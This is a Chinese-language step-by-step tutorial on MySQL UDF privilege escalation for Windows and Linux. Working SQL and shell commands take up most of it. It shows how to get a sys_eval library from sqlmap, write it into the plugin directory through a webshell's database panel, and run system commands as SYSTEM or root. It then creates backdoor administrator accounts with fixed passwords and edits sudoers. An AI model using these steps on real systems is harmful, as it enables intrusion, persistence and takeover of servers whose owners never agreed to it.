介紹
UDF是mysql的一個拓展接口,UDF(Userdefined function)可翻譯爲用戶自定義函數,這個是用來拓展Mysql的技術手段。
原理
UDF可以理解爲MySQL的函數庫,可以利用UDF定義創建函數(其中包括了執行系統命令的函數),要想利用udf,必須上傳udf.dll作爲udf的執行庫,mysql中支持UDF擴展 ,使得我們可以調用DLL裏面的函數來實現一些特殊的功能
windows-mysql-udf提權
1.獲取udf.dll
將sqlmap\data\udf下的dll_文件,複製到sqlmap\extra\cloak,命令行輸入cloak.py -d -i lib_mysqludf_sys.dll_即可得到
2.上傳udf.dll
上傳地址:
mysql版本 < 5.1 , UDF導出到系統目錄c:/windows/system32/
mysql版本 > 5.1 ,UDF導出到安裝路徑MySQL\Lib\Plugin\
尋找安裝路徑:
show variables like '%plugin%' 或 select @@basedir(該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建lib\plugin文件夾,然後將udf.dll文件導出到該目錄即可)
上傳: 直接上傳沒有權限,可通過mysql語句寫入
2.1以二進制讀取udf.dll內容,並將結果轉爲十六進制
select hex(load_file("C:\\Users\\Administrator\\Desktop\\udf.dll")) into dumpfile'C:\\Users\\Administrator\\Desktop\\111.txt' ;
2.2菜刀的數據庫管理處輸入以下命令,文件即可上傳
select unhex ('111') into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll";
111替換爲剛剛的16進制字符串
3.利用udf.dll創建用戶自定義函數
菜刀的數據庫管理處輸入輸入以下命令(udf.dll處替換上傳的dll文件名)
create function sys_eval returns string soname 'udf.dll'
4.執行系統命令
菜刀的數據庫管理處輸入以下命令,看到用戶爲system
select sys_eval("whoami")
5.之後創建新用戶並加入管理員組即可
5.1菜刀的數據庫管理處輸入
select sys_eval("net user qq 123.com /add")
5.2再輸入
select sys_eval("net localgroup administrators qq /add")
linux-mysql-udf提權
條件:my.ini配置錯誤,mysql以root權限運行
Linux的mysql默認是mysql用戶 ,此處手動將mysql的用戶修改爲root用戶
1.獲取udf.dll
sqlmap\data\udf下的so_文件,複製到sqlmap\extra\cloak,命令行輸入cloak.py -d -i lib_mysqludf_sys.so_即可得到
2.上傳udf.dll
上傳地址:
默然安裝路徑/usr/lib64/mysql/plugin/
尋找安裝路徑:
show variables like '%plugin%' 或 select @@basedir
上傳:直接上傳沒有權限,可通過mysql命令
2.1以二進制讀取so.dll內容,並將結果轉爲十六進制
select hex(load_file("C:\\Users\\Administrator\\Desktop\\udf.so")) into dumpfile'C:\\Users\\Administrator\\Desktop\\222.txt' ;
2.2菜刀的數據庫管理處輸入以下命令,111替換爲剛剛的16進制字符串
select unhex ('111') into dumpfile '/usr/lib64/mysql/plugin/udf.so';
3.利用udf.dll創建用戶自定義函數
菜刀的數據庫管理處輸入以下命令,udf.so處替換上傳的so文件名
create function sys_eval returns string soname 'udf.so'
4.執行系統命令
菜刀的數據庫管理處輸以下命令,看到用戶爲root
select sys_eval("whoami")
5.之後創建一個xxx用戶,修改密碼,並添加到管理員組
5.1創建:
select sys_eval("useradd lp")
5.2修改密碼:
select sys_eval("echo '123456' | passwd lp --stdin")
5.3添加到管理員組:
select sys_eval("gpasswd -a lp wheel")
5.4之後去掉etc/sudoers裏105行的wheel前的#(可使用覆蓋形式)即可